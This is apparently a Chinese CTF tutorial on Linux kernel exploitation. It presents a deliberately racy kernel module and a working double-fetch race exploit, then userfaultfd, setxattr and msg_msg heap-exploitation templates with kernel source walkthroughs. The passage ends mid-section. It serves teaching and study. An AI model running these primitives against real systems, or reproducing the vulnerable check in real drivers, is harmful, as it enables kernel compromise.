pwnKernel从0开始(四)

前言

这里尝试各种各样的骚操作解法

一、多线程的真条件竞争

1.简单的多线程

先给出自己编写的题目源码,参照多方题目,主要还是0CTF2018-baby

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t condition_dev_no;


struct flagStruct
{
int len;
char* flagUser;
};



static struct flagStruct* flagObj;
static char* flag = "flag{PIG007NBHH}";

static long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

static int condition_open(struct inode *i, struct file *f);

static int condition_close(struct inode *i, struct file *f);

static bool chk_range_not_ok(ssize_t v1,ssize_t v2);


static struct file_operations condition_fops =
{
.owner = THIS_MODULE,
.open = condition_open,
.release = condition_close,
.unlocked_ioctl = condition_ioctl
};

// 设备驱动模块加载函数
static int __init condition_init(void)
{
printk(KERN_INFO "[i] Module condition registered");
if (alloc_chrdev_region(&condition_dev_no, 0, 1, "condition") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(condition_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, condition_dev_no, NULL, "condition") == NULL)
{
printk(KERN_INFO "[i] Module condition error");
class_destroy(devClass);
unregister_chrdev_region(condition_dev_no, 1);
return -1;
}
cdev_init(&cdev, &condition_fops);
if (cdev_add(&cdev, condition_dev_no, 1) == -1)
{
device_destroy(devClass, condition_dev_no);
class_destroy(devClass);
unregister_chrdev_region(condition_dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(condition_dev_no), MINOR(condition_dev_no));
return 0;

}

// 设备驱动模块卸载函数
static void __exit condition_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(condition_dev_no, 1);
cdev_del(&cdev);
}




// ioctl函数命令控制
long condition_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int retval = 0;
printk(KERN_INFO "Ioctl Get!\n");
switch (cmd) {
case 111: //doubleCon //get flag_addr
printk("Your flag is at %llx! But I don't think you know it's content\n",flag);
break;

case 222: //doubleCon //print flag
flagObj = (struct flagStruct*)arg;
ssize_t userFlagAddr = flagObj->flagUser;
ssize_t userFlagObjAddr = (ssize_t)flagObj;

if(chk_range_not_ok(userFlagAddr,flagObj->len)
&&chk_range_not_ok(userFlagObjAddr,0)
&&(flagObj->len == strlen(flag)))

{
if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
else
printk("Wrong!");
break;
}
else
{
printk("Wrong!\n");
break;
}
default:
retval = -1;
break;
}

return retval;

}


static bool chk_range_not_ok(ssize_t v1,ssize_t v2)
{
if((v1 + v2) <= 0x7ffffffff000)
return true;
else
return false;
}

static int condition_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module condition: open()\n");
return 0;
}

static int condition_close(struct inode *i, struct file *f)
{
kfree(buffer_var);
//buffer_var = NULL;
printk(KERN_INFO "[i] Module condition: close()\n");
return 0;
}

module_init(condition_init);
module_exit(condition_exit);

MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");

(1)前置知识

主要是线程的知识。

就是如果一个变量是全局的,那么在没有锁的情况就会导致一个程序的不同线程对该全局变量进行的竞争读写操作。就像这里给出的代码,首先flag在内核模块中是静态全局的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static char* flag = "flag{PIG007NBHH}";
//--------------------------------------------------
if(chk_range_not_ok(userFlagAddr,flagObj->len)
&&chk_range_not_ok(userFlagObjAddr,0)
&&(flagObj->len == strlen(flag)))

{
if(!strncmp(flagObj->flagUser,flag,strlen(flag)))
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
else
printk("Wrong!");
break;
}
else
{
printk("Wrong!\n");
break;
}

(2)检测:

先检测传入的数据的地址是否是在用户空间,长度是否为flag的长度,传入的所有数据是否处在用户空间。如果都是,再判断传入的数据与flag是否一致,一致则打印flag,否则打印Wrong然后退出。

这么一看好像无法得到flag,首先flag我们不知道,是硬编码在内核模块中的。其次就算无法传入内核模块中的地址,意味着就算我们获得了内核模块中flag的地址和长度,传进去也会判定失败。

(3)漏洞

但是这是建立在一个线程中的,如果是多个线程呢。在我们传入用户空间的某个数据地址和长度之后,先进入程序的if语句,也就是进入如下if语句

1
2
3
if(chk_range_not_ok(userFlagAddr,flagObj->len)
&&chk_range_not_ok(userFlagObjAddr,0)
&&(flagObj->len == strlen(flag)))

然后在检测flag数据之前,也就是如下if语句之前,启动另外一个线程把传入的该数据地址给改成内核模块的flag的数据地址,这样就能成功打印flag了。

1
if(!strncmp(flagObj->flagUser,flag,strlen(flag)))

那么就直接给出POC,这里涉及到一些线程的操作,可以自己学习一下。

(4)POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
// gcc -static exp.c -lpthread -o exp
#include <string.h>
//char *strstr(const char *haystack, const char *needle);
//#define _GNU_SOURCE /* See feature_test_macros(7) */
//char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>

#define TRYTIME 0x1000


struct flagStruct
{
int len;
char* flagUseAddr;
};
struct flagStruct flagChunk;


//open dev
int openDev(char* pos);


char readFlagBuf[0x1000+1]={0};
int finish =0;
unsigned long long flagKerneladdr;
void changeFlagAddr(void* arg);

int main(int argc, char *argv[])
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int devFD;
int addrFD;
unsigned long memOffset;
pthread_t thread;

//open Dev
char* pos = "/dev/condition";
devFD = openDev(pos);

char flagBuf[16] = {0};
flagReadFun(devFD,16,flagBuf);


system("dmesg > /tmp/record.txt");
addrFD = open("/tmp/record.txt",O_RDONLY);
lseek(addrFD,-0x1000,SEEK_END);
read(addrFD,readFlagBuf,0x1000);
close(addrFD);
int flagIdxInBuf;
flagIdxInBuf = strstr(readFlagBuf,"Your flag is at ");
if (flagIdxInBuf == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
flagIdxInBuf+=16;
flagKerneladdr = strtoull(flagIdxInBuf,flagIdxInBuf+16,16);
printf("[+]flag addr: %p\n",flagKerneladdr);
}

pthread_create(&thread, NULL, changeFlagAddr,&flagChunk);
for(int i=0;i<TRYTIME;i++){
flagJudgeFun(devFD,16,&flagBuf);
}
finish = 1;
pthread_join(thread, NULL);

close(devFD);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}


int openDev(char* pos){
int devFD;
printf("[+] Open %s...\n",pos);
if ((devFD = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return devFD;
}

void flagReadFun(int devFD,int len,char *buf)
{
flagChunk.len = len;
flagChunk.flagUseAddr = buf;
ioctl(devFD,111,&flagChunk);
}


void flagJudgeFun(int devFD,int len,char *buf)
{
flagChunk.len = len;
flagChunk.flagUseAddr = buf;
ioctl(devFD,222,&flagChunk);
}

void changeFlagAddr(void* arg){
struct flagStruct * flagPTChunk = arg;
while(finish==0){
//s1->flagUseAddr = flagKerneladdr;
flagPTChunk->flagUseAddr = flagKerneladdr;
}
}

最后如下效果:

image-20211019152909777

需要注意的是在gcc编译的时候需要加上-lpthread多线程的参数。还有线程的回调函数必须传入至少一个参数,不管该参数在里面有没有被用到。

2.UserFaultFD

关于这个实在是有点多,涉及的知识也有点多,具体的可以看,版本在v4.3及以上才可用

Linux Kernel Userfaultfd 内部机制探究 - BrieflyX’s Base

从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用 - 安全客,安全资讯平台 (anquanke.com)

主要就是使用方法,以及是否可用

(1)是否可用

①编译时

在我们编译内核的时候,需要加入如下的选项在.config中

1
CONFIG_USERFAULTFD=y

不然当我们尝试使用如下代码注册时,就会返回-1,表示失败

1
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

②版本限制

在v5.11及以上的版本中加入了如下限制

1
2
3
4
5
6
7
8
9
//fs/userfaultfd.c
if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}

也就是说,必须要是root权限才可以使用该机制

(2)使用方法

探究完了是否可用,再来看看使用方法,同样在上面给出的链接中有一个板子,尝试拿来用一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>

static char *page = NULL;
static size_t page_size;
static pthread_t monitor_thread;

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*));
void errExit(char *msg);
static void * test_thread(void *arg);


int main(int argc, char *argv[])
{
char *uffd_buf_leak;
page = malloc(0x1000);
for(int i = 0 ; i < 0x20 ; i ++)
{
page[i] == "\x62";
}
page_size = sysconf(_SC_PAGE_SIZE);

//申请一块保护内存,我们对该内存进行读写操作就会被userfaultfd给捕获,从而进入到test_thread函数中
uffd_buf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf, page_size, test_thread);
printf("\033[1;31;40m[Test:]%016llx\033[0m\n",*uffd_buf);
}


static void * test_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;


for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);



//自定义代码区域----------------------
printf("\033[1;31;40m[Loading handler userfaultfd]%016llx\033[0m\n");
//-------------------------------------



//判断是否正确打开
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");



//数据拷贝区域
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

如下效果:

可以看到在试图打印被我们申请读写保护的区域时,会调用到我们的test_thread函数中

(3)配合知识点

通常意义上来讲,UserFaultFD是用在多线程下,用来制造double-free或者UAF的。而在比较严苛的条件下,比如,没法写,或者没办法读的时候,就需要配合以下的两个知识点。

setxattr

调用链为

1
SYS_setxattr()->path_setxattr()->setxattr()

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//fs/xattr.c
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];

if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
return -EINVAL;

error = strncpy_from_user(kname, name, sizeof(kname));
if (error == 0 || error == sizeof(kname))
error = -ERANGE;
if (error < 0)
return error;

if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
//申请chunk,基本相当于kmalloc函数,size可控
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
//从value拷贝内容到kvalue,value可控
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(mnt_userns, kvalue, size);
}

error = vfs_setxattr(mnt_userns, d, kname, kvalue, size, flags);
out:
//释放chunk,基本等于kfree函数
kvfree(kvalue);

return error;
}

关注点在kvmalloccopy_from_userkvfree

kvmalloc中的size可控,copy_from_user中的value可控

也就是说当freelist中存在我们需要修改的chunk,而该chunk又是我们控制的某个设备内存块时,(通过double-free或者UAF实现)那么我们就可以通过setxattr来对该设备内存进行任意写。虽然最后会释放,但是也只会影响内存块中存放下一个chunk地址处的内容0x8个字节,而当我们用不着这个地方的内容时,就不用太关注了。

🔺注:

使用的时候需要注意指定一个当前的exp程序,类似如下,第二个参数字符串任意。

1
setxattr("/tmp/ufdExp", "PIG-007", &buf,0x100,0);

msg_msg

这个下面新创一个点,方便标题跳转

3.msg_msg

承接上面的知识点

这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下

修改时间:2022-05-12

参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3’s blog

Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)

Linux的进程间通信 - 消息队列 · Poor Zorro’s Linux Book (gitbooks.io)

《Linux/Unix系统编程手册》

(1)使用方法

①创建

  • 首先创建queue_id管理标志,对应于内核空间的msg_queue管理结构

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    //key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
    //代表着该消息队列在内核中唯一的标识符
    //使用IPC_PRIVATE会生成全新的消息队列IPC对象
    int32_t make_queue(key_t key, int msg_flag)
    {
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
    perror("msgget failure");
    exit(-1);
    }
    return result;
    }

    int queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);

    使用简单封装的msgget函数或者系统调用号__NR_msgget,之后保存数据的消息就会在这个queue_id管理标志,以及内核空间的msg_queue管理结构下进行创建

②数据传输

  • 写入消息:

    然后就可以依据queue_id写入消息了,不同于pipesocketpair,这个需要特定的封装函数(msgsnd/msgrcv)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd)来实现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    typedef struct
    {
    long mtype;
    char mtext[1];
    }msgp;

    //msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
    void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
    {
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
    perror("msgsend failure");
    exit(-1);
    }
    return;
    }

    char queue_send_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    msg *message = (msg *)queue_send_buf;
    message->mtype = 0;
    send_msg(queue_id, message, m_ts_size, 0);
  • 读取消息:

    之后即可依据queue_id读取消息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
    {
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
    perror("msgrcv");
    exit(-1);
    }
    return;
    }

    char queue_recv_buf[0x2000];
    m_ts_size = 0x400-0x30;//任意指定
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
  • mtype

    可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用

    • 在写入消息时,指定mtype,后续接收消息时可以依据此mtype来进行非顺序接收
    • 在读取消息时,指定msgtyp,分为如下情况
      • msgtyp大于0:那么在find_msg函数中,就会将遍历寻找消息队列里的第一条等于msgtyp的消息,然后进行后续操作。
      • msgtyp等于0:即类似于顺序读取,find_msg函数会直接获取到消息队列首个消息。
      • msgtyp小于0:会将等待的消息当成优先队列来处理,mtype的值越小,其优先级越高。
  • msg_flag

可以关注一下MSG_NOERROR标志位,比如说msg_flag没有设置MSG_NOERROR的时候,那么情况如下:

假定获取消息时输入的长度m_ts_size0x200,且这个长度大于通过find_msg()函数获取到的消息长度0x200,则可以顺利读取,如果该长度小于获取到的消息长度0x200,则会出现如下错误

但是如果设置了MSG_NOERROR,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。

1
2
3
4
5
//v5.11 /ipc/msg.c do_msgrcv函数中
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}

此外还有更多的msg_flag,就不一一举例了。

③释放

这个主要是用到msgctl封装函数或者__NR_msgctl系统调用,直接释放掉所有的消息结构,包括申请的msg_queue的结构

1
2
3
4
5
6
//其中IPC_RMID这个cmd命令代表释放掉该消息队列的所有消息,各种内存结构体等
if(msgctl(queue_id),IPC_RMID,NULL)==-1)
{
perror("msgctl");
exit(-1);
}

不过一般也用不到,可能某些合并obj的情况能用到?

此外还有更多的cmd命令,常用来设置内核空间的msg_queue结构上的相关数据,不过多介绍了。

总结

总结一下大致的使用方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
typedef struct
{
long mtype;
char mtext[1];
}msgp;

int32_t make_queue(key_t key, int msg_flag)
{
int32_t result;
if ((result = msgget(key, msg_flag)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}



void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
{
perror("msgrcv");
exit(-1);
}
return;
}

void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}


int main()
{
int queue_id, m_ts_size;
char queue_recv_buf[0x2000];
char queue_send_buf[0x2000];

m_ts_size = 0x400-0x30;
msgp *message = (msgp *)queue_send_buf;
message->mtype = 0;

memset(message->mtext,'\xaa', m_ts_size);
memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));

queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(queue_id, message, m_ts_size, 0);
get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);

return 0;
}

(2)内存分配与释放

①创建

A.内存申请
  • 还是需要先创建msg_queue结构体,使用msgget函数,调用链为

    1
    msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()

    主要还是关注最后的newque()函数,在该函数中使用kvmalloc()申请堆块,大小为0x100,属于kmalloc-256,(不同版本大小貌似不同)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msg.c
    static int newque(struct ipc_namespace *ns, struct ipc_params *params)
    {
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;

    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
    return -ENOMEM;

    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;

    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
    kvfree(msq);
    return retval;
    }

    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);

    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
    ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
    return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();

    return msq->q_perm.id;
    }

    创建的结构体如下所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    //v5.11 /ipc/msg.c
    struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime; /* last msgsnd time */
    time64_t q_rtime; /* last msgrcv time */
    time64_t q_ctime; /* last change time */
    unsigned long q_cbytes; /* current number of bytes on queue */
    unsigned long q_qnum; /* number of messages in queue */
    unsigned long q_qbytes; /* max number of bytes on queue */
    struct pid *q_lspid; /* pid of last msgsnd */
    struct pid *q_lrpid; /* last receive pid */

    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
    } __randomize_layout;

  • 接着当使用msgsnd函数传递消息时,会创建新的msg_msg结构体,消息过长的话就会创建更多的msg_msgseg来存储更多的消息。相关的函数调用链如下:

    1
    msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()

    主要还是关注在alloc_msg()函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    //v5.11 /ipc/msgutil.c
    static struct msg_msg *alloc_msg(size_t len)
    {
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
    return NULL;

    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
    struct msg_msgseg *seg;
    //不知道干啥的
    cond_resched();

    alen = min(len, DATALEN_SEG);
    seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
    //申请完之后,将msg_msgseg放到msg->next这个单向链表上
    if (seg == NULL)
    goto out_err;
    *pseg = seg;
    seg->next = NULL;
    pseg = &seg->next;
    len -= alen;
    }

    return msg;

    out_err:
    free_msg(msg);
    return NULL;
    }
    • msg_msg结构体如下,头部大小0x30

      1
      2
      3
      4
      5
      6
      7
      8
      9
      //v5.11 /include/linux/msg.h
      struct msg_msg {
      struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
      long m_type;
      size_t m_ts; /* message text size */
      struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
      void *security;
      /* the actual message follows immediately */
      };

      如下所示

      image-20220511220130886
    • msg_msgseq结构如下,只是一个struct msg_msgseg*指针

      1
      2
      3
      4
      5
      //v5.11 /ipc/msgutil.c
      struct msg_msgseg {
      struct msg_msgseg *next;
      /* the next part of the message follows immediately */
      };

      如下所示

      image-20220511220627775
相关内存结构:

在一个msg_queue队列下,消息长度为0x1000-0x30-0x8-0x8-0x8

  • 一条消息:

    image-20220511231539231

  • 两条消息:

    msg_queuestruct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表

    未命名文件

同理,同一个msg_queue消息队列下的多条消息也是类似的

内存申请总结:
  • 使用msgget()函数创建内核空间的消息队列结构msg_msgseg,返回值为消息队列的id标志queue_id
    • msg_msgseg管理整个消息队列,大小为0x100,kmalloc-256
    • struct list_head q_messages;域为链表头,和msg_msg结构的struct list_head m_list域串联所有的msg_msg形成双向循环链表
  • 每次在该消息队列queue_id下调用msgsnd()函数都会申请内核空间的msg_msg结构,消息长度大于0x400-0x30就会申请内核空间的msg_msgseg结构
    • msg_msg为每条消息存放消息数据的结构,与msg_queue形成双向循环链表,与msg_msgseg形成单向链表大小最大为0x400,属于kmalloc-64kmalloc-1024
    • msg_msgseg也为每条消息存放消息数据的结构,挂在msg_msg单向链表中,大小最大为0x400,属于kmalloc-16kmalloc-1024,当消息长度很长时就会申请很多的内核空间的msg_msgseg结构。
B.数据复制

调用完alloc_msg()函数后,回到load_msg()函数接着进行数据复制,函数还是挺简单的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

//先复制进msg_msg中存放消息的部分
alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

//遍历msg_msg下的msg_msgseg,逐个存放数据进去
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

②释放

相关的函数调用链

1
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()

首先关注一下do_msgrcv()函数,里面很多东西都比较重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
